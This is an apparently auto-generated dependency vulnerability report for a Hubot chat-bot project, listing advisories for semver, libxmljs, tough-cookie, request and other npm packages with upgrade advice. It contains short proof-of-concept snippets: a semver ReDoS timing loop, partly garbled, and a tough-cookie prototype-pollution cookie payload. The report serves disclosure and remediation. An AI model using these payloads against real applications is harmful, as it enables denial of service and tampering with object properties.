  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade qs to version 6.2.4, 6.3.3, 6.4.1, 6.5.3, 6.6.1, 6.7.3, 6.8.3, 6.9.7, 6.10.3 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: semver
  • Introduced through: pg@6.4.2

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 pg@6.4.2 semver@4.3.2
    Remediation: Upgrade to pg@8.4.0.

Overview

semver is a semantic version parser used by npm.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

PoC


const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]

console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})

const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade semver to version 5.7.2, 6.3.1, 7.5.2 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: diff
  • Introduced through: mocha@3.5.3

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 mocha@3.5.3 diff@3.2.0
    Remediation: Upgrade to mocha@5.0.3.

Overview

diff is a javascript text differencing implementation.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). This can cause an impact of about 10 seconds matching time for data 48K characters long.

Disclosure Timeline

  • Feb 15th, 2018 - Initial Disclosure to package owner
  • Feb 16th, 2018 - Initial Response from package owner
  • Mar 5th, 2018 - Fix issued
  • Mar 6th, 2018 - Vulnerability published

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade diff to version 3.5.0 or higher.

References

high severity

Improper Input Validation

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Improper Input Validation. XML external entity (XXE) vulnerability in the xmlStringLenDecodeEntities function in parser.c in libxml2 before 2.9.4, when not in validating mode, allows context-dependent attackers to read arbitrary files or cause a denial of service (resource consumption) via unspecified vectors.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

high severity

Stack-based Buffer Overflow

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Stack-based Buffer Overflow in the xmlSnprintfElements() function. An attacker can overwrite out-of-bounds stack memory with XML NCName data by supplying a malicious XML document or malicious DTD.

This vulnerability is similar to the previously reported and patched (CVE-2017-9047)[https://security.snyk.io/vuln/SNYK-UNMANAGED-LIBXML2-3004044].

Remediation

There is no fixed version for libxmljs.

References

high severity

GPL-3.0 license

  • Module: irc
  • Introduced through: hubot-irc@0.2.9

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-irc@0.2.9 irc@0.5.2

GPL-3.0 license

medium severity

Observable Timing Discrepancy

  • Vulnerable module: basic-auth-connect
  • Introduced through: hubot@2.19.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 basic-auth-connect@1.0.0

Overview

basic-auth-connect is a Basic auth middleware for node and connect

Affected versions of this package are vulnerable to Observable Timing Discrepancy due to the use of a timing-unsafe equality comparison. An attacker can infer sensitive data.

Remediation

Upgrade basic-auth-connect to version 1.1.0 or higher.

References

medium severity

NULL Pointer Dereference

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to NULL Pointer Dereference in the xmlPatMatch() function in pattern.c. An attacker can cause the application to crash. Known functions that make use of the vulnerable function include XML::LibXML::Reader (perl), retainpath (Tcl), and xmllint --walker --pattern/xmllint --stream --pattern.

Remediation

There is no fixed version for libxmljs.

References

medium severity

Arbitrary Code Injection

  • Vulnerable module: morgan
  • Introduced through: hubot@2.19.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 morgan@1.6.1

Overview

morgan is a HTTP request logger middleware for node.js.

Affected versions of this package are vulnerable to Arbitrary Code Injection. An attacker could use the format parameter to inject arbitrary commands.

Remediation

Upgrade morgan to version 1.9.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Denial of Service (DoS) due to dict corruption caused by entity reference cycles.

Remediation

There is no fixed version for libxmljs.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Denial of Service (DoS) libxml2, as used in Red Hat JBoss Core Services and when in recovery mode, allows context-dependent attackers to cause a denial of service (stack consumption) via a crafted XML document. NOTE: this vulnerability exists because of an incorrect fix for CVE-2016-3627.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Denial of Service (DoS). A flaw was found in libxml2. Exponential entity expansion attack its possible bypassing all existing protection mechanisms and leading to denial of service.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Denial of Service (DoS) libxml2 2.9.8, if --with-lzma is used, allows remote attackers to cause a denial of service (infinite loop) via a crafted XML file that triggers LZMA_MEMLIMIT_ERROR, as demonstrated by xmllint, a different vulnerability than CVE-2015-8035 and CVE-2018-9251.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Denial of Service (DoS). The xz_head function in xzlib.c in libxml2 before 2.9.6 allows remote attackers to cause a denial of service (memory consumption) via a crafted LZMA file, because the decoder functionality does not restrict memory usage to what is required for a legitimate file.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

medium severity

Integer Overflow or Wraparound

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Integer Overflow or Wraparound via XML_PARSE_HUGE due to missing length checks.

Remediation

There is no fixed version for libxmljs.

References

medium severity

Out-of-Bounds

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-Bounds. The htmlParseNameComplex function in HTMLparser.c in libxml2 allows attackers to cause a denial of service (out-of-bounds read) via a crafted XML document.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

medium severity

Out-of-bounds Read

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-bounds Read libxml2, as used in Red Hat JBoss Core Services, allows context-dependent attackers to cause a denial of service (out-of-bounds read and application crash) via a crafted XML document. NOTE: this vulnerability exists because of a missing fix for CVE-2016-4483.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

medium severity

Out-of-bounds Read

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-bounds Read. GNOME project libxml2 v2.9.10 has a global buffer over-read vulnerability in xmlEncodeEntitiesInternal at libxml2/entities.c. The issue has been fixed in commit 50f06b3e.

Remediation

There is no fixed version for libxmljs.

References

medium severity

Out-of-bounds Write

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-bounds Write in buf.c (xmlBuf*) and tree.c (xmlBuffer*). This can result in out-of-bounds memory writes. Exploitation requires a victim to open a crafted, multi-gigabyte XML file.

Remediation

There is no fixed version for libxmljs.

References

medium severity

Information Exposure

  • Vulnerable module: node-fetch
  • Introduced through: hubot-github-contribution-stats@0.6.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-github-contribution-stats@0.6.0 github-contribution-stats@0.3.0 isomorphic-fetch@2.2.1 node-fetch@1.7.3

Overview

node-fetch is a light-weight module that brings window.fetch to node.js

Affected versions of this package are vulnerable to Information Exposure when fetching a remote url with Cookie, if it get a Location response header, it will follow that url and try to fetch that url with provided cookie. This can lead to forwarding secure headers to 3th party.

Remediation

Upgrade node-fetch to version 2.6.7, 3.1.1 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: request
  • Introduced through: scraper@github:gargsms/node-scraper, jsdom@9.12.0 and others

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 scraper@github:gargsms/node-scraper request@2.88.2
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 jsdom@9.12.0 request@2.88.2
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-github-contribution-stats@0.6.0 gyazo-api@0.3.1 request@2.88.2
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-howdoi@1.0.2 scraper@github:gargsms/node-scraper request@2.88.2
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-github-contribution-stats@0.6.0 svg2png@3.0.1 phantomjs-prebuilt@2.1.16 request@2.88.2
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-github-contribution-stats@0.6.0 github-contribution-stats@0.3.0 cheerio@0.20.0 jsdom@7.2.2 request@2.88.2
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 soupselect@0.2.0 nodeunit@0.11.3 tap@12.7.0 coveralls@3.1.1 request@2.88.2

Overview

request is a simplified http request client.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: request package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: svg2png
  • Introduced through: hubot-github-contribution-stats@0.6.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-github-contribution-stats@0.6.0 svg2png@3.0.1

Overview

svg2png is a helper for SVG files, it converts SVGs to PNGs, using PhantomJS.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the SVG document.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

There is no fixed version for svg2png.

References

medium severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: tar
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8 node-pre-gyp@0.9.1 tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the lack of folders count validation during the folder creation process. An attacker who generates a large number of sub-folders can consume memory on the system running the software and even crash the client within few seconds of running it using a path with too many sub-folders inside.

Remediation

Upgrade tar to version 6.2.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: tough-cookie
  • Introduced through: jsdom@9.12.0, scraper@github:gargsms/node-scraper and others

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 jsdom@9.12.0 tough-cookie@2.5.0
    Remediation: Upgrade to jsdom@16.5.0.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 scraper@github:gargsms/node-scraper request@2.88.2 tough-cookie@2.5.0
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 jsdom@9.12.0 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-github-contribution-stats@0.6.0 gyazo-api@0.3.1 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-howdoi@1.0.2 scraper@github:gargsms/node-scraper request@2.88.2 tough-cookie@2.5.0
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-github-contribution-stats@0.6.0 svg2png@3.0.1 phantomjs-prebuilt@2.1.16 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-github-contribution-stats@0.6.0 github-contribution-stats@0.3.0 cheerio@0.20.0 jsdom@7.2.2 tough-cookie@2.5.0
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-github-contribution-stats@0.6.0 github-contribution-stats@0.3.0 cheerio@0.20.0 jsdom@7.2.2 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 soupselect@0.2.0 nodeunit@0.11.3 tap@12.7.0 coveralls@3.1.1 request@2.88.2 tough-cookie@2.5.0

Overview

tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.

Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.

PoC

// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
  "Slonser=polluted; Domain=__proto__; Path=/notauth",
  "https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
  "Auth=Lol; Domain=google.com; Path=/notauth",
  "https://google.com/"
);

//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade tough-cookie to version 4.1.3 or higher.

References

medium severity
new

Improper Handling of Unicode Encoding

  • Vulnerable module: tar
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8 node-pre-gyp@0.9.1 tar@4.4.19

Overview

